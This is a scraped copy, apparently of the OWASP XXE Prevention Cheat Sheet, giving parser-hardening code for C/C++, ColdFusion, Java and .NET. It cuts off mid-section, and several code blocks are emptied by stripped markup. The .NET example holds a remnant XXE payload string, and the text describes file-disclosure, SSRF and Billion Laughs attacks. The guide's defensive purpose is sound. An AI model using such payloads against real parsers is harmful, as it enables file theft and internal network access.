{"uroven": 3, "text": "ASP.NET¶"}, {"uroven": 3, "text": "LINQ to XML¶"}, {"uroven": 3, "text": "XmlDictionaryReader¶"}, {"uroven": 3, "text": "XmlDocument¶"}, {"uroven": 3, "text": "XmlNodeReader¶"}, {"uroven": 3, "text": "XmlReader¶"}, {"uroven": 3, "text": "XmlTextReader¶"}, {"uroven": 4, "text": "Prior to .NET 4.0¶"}, {"uroven": 4, "text": ".NET 4.0 - .NET 4.5.2¶"}, {"uroven": 4, "text": ".NET 4.5.2 and later¶"}, {"uroven": 3, "text": "XPathNavigator¶"}, {"uroven": 3, "text": "XslCompiledTransform¶"}, {"uroven": 2, "text": "iOS¶"}, {"uroven": 3, "text": "libxml2¶"}, {"uroven": 3, "text": "NSXMLDocument¶"}, {"uroven": 2, "text": "PHP¶"}, {"uroven": 2, "text": "Python¶"}, {"uroven": 2, "text": "Semgrep Rules¶"}, {"uroven": 3, "text": "Java¶"}, {"uroven": 4, "text": "DocumentBuilderFactory¶"}, {"uroven": 4, "text": "SAXParserFactory¶"}, {"uroven": 4, "text": "XMLInputFactory¶"}, {"uroven": 2, "text": "References¶"}], "markdown": "# XML External Entity Prevention Cheat Sheet¶\n\n## Introduction¶\n\nAn *XML eXternal Entity injection* (XXE), which is now part of the [OWASP Top 10](https://owasp.org/www-project-top-ten/2017/A4_2017-XML_External_Entities_%28XXE%29.html) via the point **A4**, is attack against applications that parse XML input. This issue is referenced in the ID [611](https://cwe.mitre.org/data/definitions/611.html) in the [Common Weakness Enumeration](https://cwe.mitre.org/index.html) referential. An XXE attack occurs when untrusted XML input with a **reference to an external entity is processed by a weakly configured XML parser**, and this attack could be used to stage multiple incidents, including:\n\n- A denial of service attack on the system\n- A [Server Side Request Forgery](https://owasp.org/www-community/attacks/Server_Side_Request_Forgery) (SSRF) attack\n- The ability to scan ports from the machine where the parser is located\n- Other system impacts.\n\nThis cheat sheet will help you prevent this vulnerability.\n\nFor more information on XXE, please visit [XML External Entity (XXE)](https://en.wikipedia.org/wiki/XML_external_entity_attack).\n\n## General Guidance¶\n\n**The safest way to prevent XXE is always to disable DTDs (External Entities) completely.** Depending on the parser, the method should be similar to the following:\n\n```\nfactory.setFeature(\"http://apache.org/xml/features/disallow-doctype-decl\", true); \n```\n\nDisabling [DTD](https://www.w3schools.com/xml/xml_dtd.asp)s also makes the parser secure against denial of services (DOS) attacks such as [Billion Laughs](https://en.wikipedia.org/wiki/Billion_laughs_attack). **If it is not possible to disable DTDs completely, then external entities and external document type declarations must be disabled in the way that's specific to each parser.**\n\n### XML Parser Security Features Matrix¶\n\n| Security Feature | Default (Parser-Dependent) | Purpose | **What Happens If Missing?** |\n| --- | --- | --- | --- |\n| **External Entities Disabled** | Usually **disabled** (safe) | Blocks external resource loading | Full XXE possible → SSRF, file disclosure, internal scans |\n| **Disallow DOCTYPE Declaration** | Varies | Prevents ENTITY definitions | Classic XXE payloads become fully functional |\n| **Disable External DTD Loading** | Usually **disabled** | Stops loading remote DTDs | Enables Blind XXE, SSRF behind firewalls |\n| **Secure Processing Mode** | Varies | Restricts recursion, network access, entity expansion | Billion Laughs DoS and resource depletion become possible |\n| **Disable Parameter Entities** | Varies | Prevents `%entity;` injections | Advanced XXE payloads bypass simple protections |\n| **XInclude Disabled** | Usually **disabled** | Prevents including external files | File read via `file://` and SSRF becomes possible |\n| **Limit Entity Expansion Count** | Usually **enabled** | Prevents recursive entity abuse | Memory exhaustion → parser or server DoS |\n| **Schema Validation Without External Fetching** | Usually safe | Ensures validation does not fetch external URLs | Silent external HTTP calls triggered during validation |\n\n### Quick Impact Matrix (What Happens If Missing?)¶\n\n| Missing Control | Resulting Vulnerability |\n| --- | --- |\n| DOCTYPE not disabled | Standard XXE fully exploitable |\n| External entities enabled | SSRF, file exfiltration, port scanning |\n| External DTD loading allowed | Blind XXE → hidden SSRF attacks |\n| No expansion limits | Billion Laughs DoS |\n| XInclude enabled | Local file disclosure + SSRF |\n| Secure processing disabled | Critical protections bypassed |\n| Schema validation fetches external URLs | Application makes unwanted outbound requests |\n\n### Minimal XML Hardening Rules¶\n\n- Disable DOCTYPE\n- Disable external entities\n- Disable external DTD loading\n- Enable secure processing mode\n- Disable XInclude\n- Limit entity expansion\n- Do not use legacy XML parsers\n- Never parse untrusted XML with default settings\n\n**Detailed XXE Prevention guidance is provided below for multiple languages (C++, Cold Fusion, Java, .NET, iOS, PHP, Python, Semgrep Rules) and their commonly used XML parsers.**\n\n## C/C++¶\n\n### libxml2¶\n\nThe Enum [xmlParserOption](https://gnome.pages.gitlab.gnome.org/libxml2/html/parser_8h.html) should not have the following options defined:\n\n- `XML_PARSE_NOENT` : Expands entities and substitutes them with replacement text\n- `XML_PARSE_DTDLOAD` : Load the external DTD\n\nNote:\n\nPer: According to [this post](https://mail.gnome.org/archives/xml/2012-October/msg00045.html), starting with libxml2 version 2.9, XXE has been disabled by default as committed by the following [patch](https://gitlab.gnome.org/GNOME/libxml2/commit/4629ee02ac649c27f9c0cf98ba017c6b5526070f).\n\nSearch whether the following APIs are being used and make sure there is no `XML_PARSE_NOENT` and `XML_PARSE_DTDLOAD` defined in the parameters:\n\n- `xmlCtxtReadDoc`\n- `xmlCtxtReadFd`\n- `xmlCtxtReadFile`\n- `xmlCtxtReadIO`\n- `xmlCtxtReadMemory`\n- `xmlCtxtUseOptions`\n- `xmlParseInNodeContext`\n- `xmlReadDoc`\n- `xmlReadFd`\n- `xmlReadFile`\n- `xmlReadIO`\n- `xmlReadMemory`\n\n### libxerces-c¶\n\nUse of `XercesDOMParser` do this to prevent XXE:\n\n```\nXercesDOMParser *parser = new XercesDOMParser; parser->setCreateEntityReferenceNodes(true); parser->setDisableDefaultEntityResolution(true); \n```\n\nUse of SAXParser, do this to prevent XXE:\n\n```\nSAXParser* parser = new SAXParser; parser->setDisableDefaultEntityResolution(true); \n```\n\nUse of SAX2XMLReader, do this to prevent XXE:\n\n```\nSAX2XMLReader* reader = XMLReaderFactory::createXMLReader(); parser->setFeature(XMLUni::fgXercesDisableDefaultEntityResolution, true); \n```\n\n## ColdFusion¶\n\nPer [this blog post](https://www.hoyahaxa.com/2022/11/on-coldfusion-xxe-and-other-xml-attacks.html), both Adobe ColdFusion and Lucee have built-in mechanisms to disable support for external XML entities.\n\n### Adobe ColdFusion¶\n\nAs of ColdFusion 2018 Update 14 and ColdFusion 2021 Update 4, all native ColdFusion functions that process XML have a XML parser argument that disables support for external XML entities. Since there is no global setting that disables external entities, developers must ensure that every XML function call uses the correct security options.\n\nFrom the [documentation for the XmlParse() function](https://guides.adobe.com/coldfusion/en/docs/cfml-reference/xmlparse.html), you can disable XXE with the code below:\n\n```\n\n\n\na = XmlParse(\"xml.xml\", false, parseroptions);\nwriteDump(a);\n\n```\n\nYou can use the \"parseroptions\" structure shown above as an argument to secure other functions that process XML as well, such as:\n\n```\nXxmlSearch(xmldoc, xpath,parseroptions);\n\nXmlTransform(xmldoc,xslt,parseroptions);\n\nisXML(xmldoc,parseroptions);\n```\n\n### Lucee¶\n\nAs of Lucee 5.3.4.51 and later, you can disable support for XML external entities by adding the following to your Application.cfc:\n\n```\nthis.xmlFeatures = {\n externalGeneralEntities: false,\n secure: true,\n disallowDoctypeDecl: true\n};\n```\n\nSupport for external XML entities is disabled by default as of Lucee 5.4.2.10 and Lucee 6.0.0.514.\n\n## Java¶\n\n**Since most Java XML parsers have XXE enabled by default, this language is especially vulnerable to XXE attack, so you must explicitly disable XXE to use these parsers safely.** This section describes how to disable XXE in the most commonly used Java XML parsers.\n\n### JAXP DocumentBuilderFactory, SAXParserFactory and DOM4J¶\n\nThe`DocumentBuilderFactory,` `SAXParserFactory` and `DOM4J` `XML` parsers can be protected against XXE attacks with the same techniques.\n\n**For brevity, we will only show you how to protect the `DocumentBuilderFactory` parser. Additional instructions for protecting this parser are embedded within the example code**\n\nThe JAXP `DocumentBuilderFactory` [setFeature](https://docs.oracle.com/javase/7/docs/api/javax/xml/parsers/DocumentBuilderFactory.html#setFeature(java.lang.String,%20boolean)) method allows a developer to control which implementation-specific XML processor features are enabled or disabled.\n\nThese features can either be set on the factory or the underlying `XMLReader` [setFeature](https://docs.oracle.com/javase/7/docs/api/org/xml/sax/XMLReader.html#setFeature%28java.lang.String,%20boolean%29) method.\n\n**Each XML processor implementation has its own features that govern how DTDs and external entities are processed. By disabling DTD processing entirely, most XXE attacks can be averted, although it is also necessary to disable or verify that XInclude is not enabled.**\n\n**Since the JDK 6, the flag [FEATURE_SECURE_PROCESSING](https://docs.oracle.com/javase/6/docs/api/javax/xml/XMLConstants.html#FEATURE_SECURE_PROCESSING) can be used to instruct the implementation of the parser to process XML securely**. Its behavior is implementation-dependent. It may help with resource exhaustion but it may not always mitigate entity expansion. More details on this flag can be found [here](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-88B04BE2-35EF-4F61-B4FA-57A0E9102342).\n\nFor a syntax highlighted example code snippet using `SAXParserFactory`, look [here](https://gist.github.com/asudhakar02/45e2e6fd8bcdfb4bc3b2).\nExample code disabling DTDs (doctypes) altogether:\n\n```\nimport javax.xml.parsers.DocumentBuilderFactory; import javax.xml.parsers.ParserConfigurationException; // catching unsupported features import javax.xml.XMLConstants; ... DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); String FEATURE = null; try { // This is the PRIMARY defense. If DTDs (doctypes) are disallowed, almost all // XML entity attacks are prevented // Xerces 2 only - http://xerces.apache.org/xerces2-j/features.html#disallow-doctype-decl FEATURE = \"http://apache.org/xml/features/disallow-doctype-decl\"; dbf.setFeature(FEATURE, true); // and these as well, per Timothy Morgan's 2014 paper: \"XML Schema, DTD, and Entity Attacks\" dbf.setXIncludeAware(false); // remaining parser logic ... } catch (ParserConfigurationException e) { // This should catch a failed setFeature feature // NOTE: Each call to setFeature() should be in its own try/catch otherwise subsequent calls will be skipped. // This is only important if you're ignoring errors for multi-provider support. logger.info(\"ParserConfigurationException was thrown. The feature '\" + FEATURE + \"' is not supported by your XML processor.\"); ... } catch (SAXException e) { // On Apache, this should be thrown when disallowing DOCTYPE logger.warning(\"A DOCTYPE was passed into the XML document\"); ... } catch (IOException e) { // XXE that points to a file that doesn't exist logger.error(\"IOException occurred, XXE may still possible: \" + e.getMessage()); ... } // Load XML file or stream using a XXE agnostic configured parser... DocumentBuilder safebuilder = dbf.newDocumentBuilder(); \n```\n\nIf you can't completely disable DTDs:\n\n```\nimport javax.xml.parsers.DocumentBuilderFactory; import javax.xml.parsers.ParserConfigurationException; // catching unsupported features import javax.xml.XMLConstants; ... DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); String[] featuresToDisable = { // Xerces 1 - http://xerces.apache.org/xerces-j/features.html#external-general-entities // Xerces 2 - http://xerces.apache.org/xerces2-j/features.html#external-general-entities // JDK7+ - http://xml.org/sax/features/external-general-entities //This feature has to be used together with the following one, otherwise it will not protect you from XXE for sure \"http://xml.org/sax/features/external-general-entities\", // Xerces 1 - http://xerces.apache.org/xerces-j/features.html#external-parameter-entities // Xerces 2 - http://xerces.apache.org/xerces2-j/features.html#external-parameter-entities // JDK7+ - http://xml.org/sax/features/external-parameter-entities //This feature has to be used together with the previous one, otherwise it will not protect you from XXE for sure \"http://xml.org/sax/features/external-parameter-entities\", // Disable external DTDs as well \"http://apache.org/xml/features/nonvalidating/load-external-dtd\" } for (String feature : featuresToDisable) { try { dbf.setFeature(feature, false); } catch (ParserConfigurationException e) { // This should catch a failed setFeature feature logger.info(\"ParserConfigurationException was thrown. The feature '\" + feature + \"' is probably not supported by your XML processor.\"); ... } } try { // Add these as per Timothy Morgan's 2014 paper: \"XML Schema, DTD, and Entity Attacks\" dbf.setXIncludeAware(false); dbf.setExpandEntityReferences(false); // As stated in the documentation, \"Feature for Secure Processing (FSP)\" is the central mechanism that will // help you safeguard XML processing. It instructs XML processors, such as parsers, validators, // and transformers, to try and process XML securely, and the FSP can be used as an alternative to // dbf.setExpandEntityReferences(false); to allow some safe level of Entity Expansion // Exists from JDK6. dbf.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true); // And, per Timothy Morgan: \"If for some reason support for inline DOCTYPEs are a requirement, then // ensure the entity settings are disabled (as shown above) and beware that SSRF attacks // (http://cwe.mitre.org/data/definitions/918.html) and denial // of service attacks (such as billion laughs or decompression bombs via \"jar:\") are a risk.\" // remaining parser logic ... } catch (ParserConfigurationException e) { // This should catch a failed setFeature feature logger.info(\"ParserConfigurationException was thrown. The feature 'XMLConstants.FEATURE_SECURE_PROCESSING'\" + \" is probably not supported by your XML processor.\"); ... } catch (SAXException e) { // On Apache, this should be thrown when disallowing DOCTYPE logger.warning(\"A DOCTYPE was passed into the XML document\"); ... } catch (IOException e) { // XXE that points to a file that doesn't exist logger.error(\"IOException occurred, XXE may still possible: \" + e.getMessage()); ... } // Load XML file or stream using a XXE agnostic configured parser... DocumentBuilder safebuilder = dbf.newDocumentBuilder(); \n```\n\n[Xerces 1](https://xerces.apache.org/xerces-j/) [Features](https://xerces.apache.org/xerces-j/features.html):\n\n- Do not include external entities by setting [this feature](https://xerces.apache.org/xerces-j/features.html#external-general-entities) to `false` .\n- Do not include parameter entities by setting [this feature](https://xerces.apache.org/xerces-j/features.html#external-parameter-entities) to `false` .\n- Do not include external DTDs by setting [this feature](https://xerces.apache.org/xerces-j/features.html#load-external-dtd) to `false` .\n\n[Xerces 2](https://xerces.apache.org/xerces2-j/) [Features](https://xerces.apache.org/xerces2-j/features.html):\n\n- Disallow an inline DTD by setting [this feature](https://xerces.apache.org/xerces2-j/features.html#disallow-doctype-decl) to `true` .\n- Do not include external entities by setting [this feature](https://xerces.apache.org/xerces2-j/features.html#external-general-entities) to `false` .\n- Do not include parameter entities by setting [this feature](https://xerces.apache.org/xerces2-j/features.html#external-parameter-entities) to `false` .\n- Do not include external DTDs by setting [this feature](https://xerces.apache.org/xerces-j/features.html#load-external-dtd) to `false` .\n\n**Note:** The above defenses require Java 7 update 67, Java 8 update 20, or above, because the countermeasures for `DocumentBuilderFactory` and SAXParserFactory are broken in earlier Java versions, per: [CVE-2014-6517](http://www.cvedetails.com/cve/CVE-2014-6517/).\n\n### XMLInputFactory (a StAX parser)¶\n\n[StAX](https://en.wikipedia.org/wiki/StAX) parsers such as [`XMLInputFactory`](http://docs.oracle.com/javase/7/docs/api/javax/xml/stream/XMLInputFactory.html) allow various properties and features to be set.\n\nTo protect a Java `XMLInputFactory` from XXE, disable DTDs (doctypes) altogether:\n\n```\n// This disables DTDs entirely for that factory xmlInputFactory.setProperty(XMLInputFactory.SUPPORT_DTD, false); \n```\n\nor if you can't completely disable DTDs:\n\n```\n// This causes XMLStreamException to be thrown if external DTDs are accessed. xmlInputFactory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\"); // disable external entities xmlInputFactory.setProperty(\"javax.xml.stream.isSupportingExternalEntities\", false); \n```\n\nThe setting `xmlInputFactory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, \"\");` is not required, as XMLInputFactory is dependent on Validator to perform XML validation against Schemas. Check the Validator section for the specific configuration.\n\n### Oracle DOM Parser¶\n\nFollow [Oracle recommendation](https://docs.oracle.com/en/database/oracle/oracle-database/18/adxdk/security-considerations-oracle-xml-developers-kit.html#GUID-45303542-41DE-4455-93B3-854A826EF8BB) e.g.:\n\n```\n // Extend oracle.xml.parser.v2.XMLParser DOMParser domParser = new DOMParser(); // Do not expand entity references domParser.setAttribute(DOMParser.EXPAND_ENTITYREF, false); // dtdObj is an instance of oracle.xml.parser.v2.DTD domParser.setAttribute(DOMParser.DTD_OBJECT, dtdObj); // Do not allow more than 11 levels of entity expansion domParser.setAttribute(DOMParser.ENTITY_EXPANSION_DEPTH, 12); \n```\n\n### TransformerFactory¶\n\nTo protect a `javax.xml.transform.TransformerFactory` from XXE, do this:\n\n```\nTransformerFactory tf = TransformerFactory.newInstance(); tf.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, \"\"); tf.setAttribute(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, \"\"); \n```\n\n### Validator¶\n\nTo protect a `javax.xml.validation.Validator` from XXE, do this:\n\n```\nSchemaFactory factory = SchemaFactory.newInstance(\"http://www.w3.org/2001/XMLSchema\"); factory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\"); factory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, \"\"); Schema schema = factory.newSchema(); Validator validator = schema.newValidator(); validator.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\"); validator.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, \"\"); \n```\n\n### SchemaFactory¶\n\nTo protect a `javax.xml.validation.SchemaFactory` from XXE, do this:\n\n```\nSchemaFactory factory = SchemaFactory.newInstance(\"http://www.w3.org/2001/XMLSchema\"); factory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\"); factory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, \"\"); Schema schema = factory.newSchema(Source); \n```\n\n### SAXTransformerFactory¶\n\nTo protect a `javax.xml.transform.sax.SAXTransformerFactory` from XXE, do this:\n\n```\nSAXTransformerFactory sf = SAXTransformerFactory.newInstance(); sf.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, \"\"); sf.setAttribute(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, \"\"); sf.newXMLFilter(Source); \n```\n\n**Note: Use of the following `XMLConstants` requires JAXP 1.5, which was added to Java in 7u40 and Java 8:**\n\n- `javax.xml.XMLConstants.ACCESS_EXTERNAL_DTD`\n- `javax.xml.XMLConstants.ACCESS_EXTERNAL_SCHEMA`\n- `javax.xml.XMLConstants.ACCESS_EXTERNAL_STYLESHEET`\n\n### XMLReader¶\n\nTo protect the Java `org.xml.sax.XMLReader` from an XXE attack, do this:\n\n```\nXMLReader reader = XMLReaderFactory.createXMLReader(); reader.setFeature(\"http://apache.org/xml/features/disallow-doctype-decl\", true); // This may not be strictly required as DTDs shouldn't be allowed at all, per previous line. reader.setFeature(\"http://apache.org/xml/features/nonvalidating/load-external-dtd\", false); reader.setFeature(\"http://xml.org/sax/features/external-general-entities\", false); reader.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false); \n```\n\n### SAXReader¶\n\nTo protect a Java `org.dom4j.io.SAXReader` from an XXE attack, do this:\n\n```\nsaxReader.setFeature(\"http://apache.org/xml/features/disallow-doctype-decl\", true); saxReader.setFeature(\"http://xml.org/sax/features/external-general-entities\", false); saxReader.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false); \n```\n\nIf your code does not have all of these lines, you could be vulnerable to an XXE attack.\n\n### SAXBuilder¶\n\nTo protect a Java `org.jdom2.input.SAXBuilder` from an XXE attack, disallow DTDs (doctypes) entirely:\n\n```\nSAXBuilder builder = new SAXBuilder(); builder.setFeature(\"http://apache.org/xml/features/disallow-doctype-decl\",true); Document doc = builder.build(new File(fileName)); \n```\n\nAlternatively, if DTDs can't be completely disabled, disable external entities and entity expansion:\n\n```\nSAXBuilder builder = new SAXBuilder(); builder.setFeature(\"http://xml.org/sax/features/external-general-entities\", false); builder.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false); builder.setFeature(\"http://apache.org/xml/features/nonvalidating/load-external-dtd\", false); builder.setExpandEntities(false); Document doc = builder.build(new File(fileName)); \n```\n\n### No-op EntityResolver¶\n\nFor APIs that take an `EntityResolver`, you can neutralize an XML parser's ability to resolve entities by [supplying a no-op implementation](https://wiki.sei.cmu.edu/confluence/display/java/IDS17-J.+Prevent+XML+External+Entity+Attacks):\n\n```\npublic final class NoOpEntityResolver implements EntityResolver { public InputSource resolveEntity(String publicId, String systemId) { return new InputSource(new StringReader(\"\")); } } // ... xmlReader.setEntityResolver(new NoOpEntityResolver()); documentBuilder.setEntityResolver(new NoOpEntityResolver()); \n```\n\nor more simply:\n\n```\nEntityResolver noop = (publicId, systemId) -> new InputSource(new StringReader(\"\")); xmlReader.setEntityResolver(noop); documentBuilder.setEntityResolver(noop); \n```\n\n### JAXB Unmarshaller¶\n\n**You should ensure that the source to the `unmarshal` function of `javax.xml.bind.Unmarshaller` is `javax.xml.stream.XMLStreamReader` that was generated using `javax.xml.stream.XMLInputFactory` with safe properties, i.e. `XMLInputFactory.SUPPORT_DTD` and `XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES` set to `false`.** For example:\n\n```\nFile file = new File(xmlPath); XMLInputFactory xif = XMLInputFactory.newFactory(); xif.setProperty(XMLInputFactory.SUPPORT_DTD, false); xif.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false); XMLStreamReader xsr = null; try { xsr = xif.createXMLStreamReader(new StreamSource(file)); } catch (XMLStreamException e) { throw new RuntimeException(e); } Unmarshaller um = jc.createUnmarshaller(); um.unmarshal(xsr); \n```\n\nNote that both the `createXMLStreamReader` and `unmarshal` methods have several overloads with various source types, so you need to pick the right one and do a possible conversion.\n\n### XPathExpression¶\n\n**Since `javax.xml.xpath.XPathExpression` can not be configured securely by itself, the untrusted data must be parsed through another securable XML parser first.**\n\nFor example:\n\n```\nDocumentBuilderFactory df = DocumentBuilderFactory.newInstance(); df.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, \"\"); df.setAttribute(XMLConstants.ACCESS_EXTERNAL_SCHEMA, \"\"); DocumentBuilder builder = df.newDocumentBuilder(); String result = new XPathExpression().evaluate( builder.parse( new ByteArrayInputStream(xml.getBytes())) ); \n```\n\n### java.beans.XMLDecoder¶\n\n**The [readObject()](https://docs.oracle.com/javase/8/docs/api/java/beans/XMLDecoder.html#readObject--) method in this class is fundamentally unsafe.**\n\n**Not only is the XML it parses subject to XXE, but the method can be used to construct any Java object, and [execute arbitrary code as described here](http://stackoverflow.com/questions/14307442/is-it-safe-to-use-xmldecoder-to-read-document-files).**\n\n**And there is no way to make use of this class safe except to trust or properly validate the input being passed into it.**\n\n**As such, we'd strongly recommend completely avoiding the use of this class and replacing it with a safe or properly configured XML parser as described elsewhere in this cheat sheet.**\n\n### Other XML Parsers¶\n\n**There are many third-party libraries that parse XML either directly or through their use of other libraries. Please test and verify their XML parser is secure against XXE by default.** If the parser is not secure by default, look for flags supported by the parser to disable all possible external resource inclusions like the examples given above. If there's no control exposed to the outside, make sure the untrusted content is passed through a secure parser first and then passed to insecure third-party parser similar to how the Unmarshaller is secured.\n\n#### Spring Framework MVC/OXM XXE Vulnerabilities¶\n\n**Some XXE vulnerabilities were found in [Spring OXM](https://pivotal.io/security/cve-2013-4152) and [Spring MVC](https://pivotal.io/security/cve-2013-7315) . The following versions of the Spring Framework are vulnerable to XXE:\n\n- **3.0.0** to **3.2.3** (Spring OXM & Spring MVC)\n- **4.0.0.M1** (Spring OXM)\n- **4.0.0.M1-4.0.0.M2** (Spring MVC)\n\nThere were other issues as well that were fixed later, so to fully address these issues, Spring recommends you upgrade to Spring Framework 3.2.8+ or 4.0.2+.\n\nFor Spring OXM, this is referring to the use of org.springframework.oxm.jaxb.Jaxb2Marshaller. **Note that the CVE for Spring OXM specifically indicates that two XML parsing situations are up to the developer to get right, and the other two are the responsibility of Spring and were fixed to address this CVE.**\n\nHere's what they say:\n\nTwo situations developers must handle:\n\n- For a `DOMSource` , the XML has already been parsed by user code and that code is responsible for protecting against XXE.\n- For a `StAXSource` , the XMLStreamReader has already been created by user code and that code is responsible for protecting against XXE.\n\nThe issue Spring fixed:\n\nFor SAXSource and StreamSource instances, Spring processed external entities by default thereby creating this vulnerability.\n\nHere's an example of using a StreamSource that was vulnerable, but is now safe, if you are using a fixed version of Spring OXM or Spring MVC:\n\n```\nimport org.springframework.oxm.Jaxb2Marshaller; import org.springframework.oxm.jaxb.Jaxb2Marshaller; Jaxb2Marshaller marshaller = new Jaxb2Marshaller(); // Must cast return Object to whatever type you are unmarshalling marshaller.unmarshal(new StreamSource(new StringReader(some_string_containing_XML)); \n```\n\nSo, per the [Spring OXM CVE writeup](https://pivotal.io/security/cve-2013-4152), the above is now safe. But if you were to use a DOMSource or StAXSource instead, it would be up to you to configure those sources to be safe from XXE.\n\n#### Castor¶\n\n**Castor is a data binding framework for Java. It allows conversion between Java objects, XML, and relational tables. The XML features in Castor prior to version 1.3.3 are vulnerable to XXE, and should be upgraded to the latest version.** For additional information, check the official [XML configuration file](https://castor-data-binding.github.io/castor/reference-guide/reference/xml/xml-properties.html)\n\n## .NET¶\n\n**Up-to-date information for XXE injection in .NET is taken directly from the [web application of unit tests by Dean Fleming](https://github.com/deanf1/dotnet-security-unit-tests), which covers all currently supported .NET XML parsers, and has test cases that demonstrate when they are safe from XXE injection and when they are not, but these tests are only with injection from file and not direct DTD (used by DoS attacks).**\n\nFor DoS attacks using a direct DTD (such as the [Billion laughs attack](https://en.wikipedia.org/wiki/Billion_laughs_attack)), a [separate testing application from Josh Grossman at Bounce Security](https://github.com/BounceSecurity/BillionLaughsTester) has been created to verify that .NET >=4.5.2 is safe from these attacks.\n\nPreviously, this information was based on some older articles which may not be 100% accurate including:\n\n- [James Jardine's excellent .NET XXE article](https://www.jardinesoftware.net/2016/05/26/xxe-and-net/) .\n- [Guidance from Microsoft on how to prevent XXE and XML Denial of Service in .NET](https://learn.microsoft.com/en-us/archive/msdn-magazine/2009/november/xml-denial-of-service-attacks-and-defenses) .\n\n### Overview of .NET Parser Safety Levels¶\n\n**Below is an overview of all supported .NET XML parsers and their default safety levels. More details about each parser are included below.**\n\n#### XDocument (LINQ to XML) default safety levels¶\n\nThis parser is protected from external entities at .NET Framework version 4.5.2 and protected from Billion Laughs at version 4.5.2 or greater, but it is uncertain if this parser is protected from Billion Laughs before version 4.5.2.\n\n#### XmlDocument, XmlTextReader, XPathNavigator default safety levels¶\n\nThese parsers are vulnerable to external entity attacks and Billion Laughs at versions below version 4.5.2 but protected at versions equal or greater than 4.5.2.\n\n#### XmlDictionaryReader, XmlNodeReader, XmlReader default safety levels¶\n\nThese parsers are not vulnerable to external entity attacks or Billion Laughs before or after version 4.5.2. Also, at or greater than versions ≥4.5.2, these libraries won't even process the in-line DTD by default. Even if you change the default to allow processing a DTD, if a DoS attempt is performed an exception will still be thrown as documented above.\n\n### ASP.NET¶\n\nASP.NET applications ≥ .NET 4.5.2 must also ensure setting the `` in their `Web.config` to ≥4.5.2 or risk being vulnerable regardless of the actual .NET version. Omitting this tag will also result in unsafe-by-default behavior.\n\nFor the purpose of understanding the version thresholds above, the effective .NET Framework version for an ASP.NET application is either the .NET version the application was built with or the httpRuntime's `targetFramework` (Web.config), **whichever is lower**.\n\nThis configuration tag should not be confused with a similar configuration tag: `` or the assemblies / projects targetFramework, which are **not** sufficient for achieving secure-by-default behavior as described above.\n\n### LINQ to XML¶\n\n**Both the `XElement` and `XDocument` objects in the `System.Xml.Linq` library are safe from XXE injection from external file and DoS attack by default.** `XElement` parses only the elements within the XML file, so DTDs are ignored altogether. `XDocument` has XmlResolver [disabled by default](https://learn.microsoft.com/en-us/dotnet/standard/linq/linq-xml-security) so it's safe from SSRF. While DTDs are [enabled by default](https://github.com/microsoft/referencesource/blob/main/System.Xml.Linq/System/Xml/Linq/XLinq.cs#L1986-L1993), from Framework versions ≥4.5.2, it is **not** vulnerable to DoS as noted but it may be vulnerable in earlier Framework versions. For more information, see [Microsoft's guidance on how to prevent XXE and XML Denial of Service in .NET](https://learn.microsoft.com/en-us/archive/msdn-magazine/2009/november/xml-denial-of-service-attacks-and-defenses)\n\n### XmlDictionaryReader¶\n\n**`System.Xml.XmlDictionaryReader` is safe by default, as when it attempts to parse the DTD, the compiler throws an exception saying that \"CData elements not valid at top level of an XML document\". It becomes unsafe if constructed with a different unsafe XML parser.**\n\n### XmlDocument¶\n\n**Prior to .NET Framework version 4.5.2, `System.Xml.XmlDocument` is unsafe by default. The `XmlDocument` object has an `XmlResolver` object within it that needs to be set to null in versions prior to 4.5.2. In versions 4.5.2 and up, this `XmlResolver` is set to null by default.**\n\nThe following example shows how it is made safe:\n\n```\n static void LoadXML() { string xxePayload = \"]>\" + \"&win;\"; string xml = \"\" + xxePayload; XmlDocument xmlDoc = new XmlDocument(); // Setting this to NULL disables DTDs - Its NOT null by default. xmlDoc.XmlResolver = null; xmlDoc.LoadXml(xml); Console.WriteLine(xmlDoc.InnerText); Console.ReadLine(); } \n```\n\n**For .NET Framework version ≥4.5.2, this is safe by default**.\n\n`XmlDocument` can become unsafe if you create your own nonnull `XmlResolver` with default or unsafe settings. If you need to enable DTD processing, instructions on how to do so safely are described in detail in the [referenced MSDN article](https://learn.microsoft.com/en-us/archive/msdn-magazine/2009/november/xml-denial-of-service-attacks-and-defenses).\n\n### XmlNodeReader¶\n\n`System.Xml.XmlNodeReader` objects are safe by default and will ignore DTDs even when constructed with an unsafe parser or wrapped in another unsafe parser.\n\n### XmlReader¶\n\n`System.Xml.XmlReader` objects are safe by default.\n\nThey are set by default to have their ProhibitDtd property set to false in .NET Framework versions 4.0 and earlier, or their `DtdProcessing` property set to Prohibit in .NET versions 4.0 and later.\n\nAdditionally, in .NET versions 4.5.2 and later, the `XmlReaderSettings` belonging to the `XmlReader` has its `XmlResolver` set to null by default, which provides an additional layer of safety.\n\nTherefore, `XmlReader` objects will only become unsafe in version 4.5.2 and up if both the `DtdProcessing` property is set to Parse and the `XmlReaderSetting`'s `XmlResolver` is set to a nonnull XmlResolver with default or unsafe settings. If you need to enable DTD processing, instructions on how to do so safely are described in detail in the [referenced MSDN article](https://learn.microsoft.com/en-us/archive/msdn-magazine/2009/november/xml-denial-of-service-attacks-and-defenses).\n\n### XmlTextReader¶\n\n`System.Xml.XmlTextReader` is **unsafe** by default in .NET Framework versions prior to 4.5.2. Here is how to make it safe in various .NET 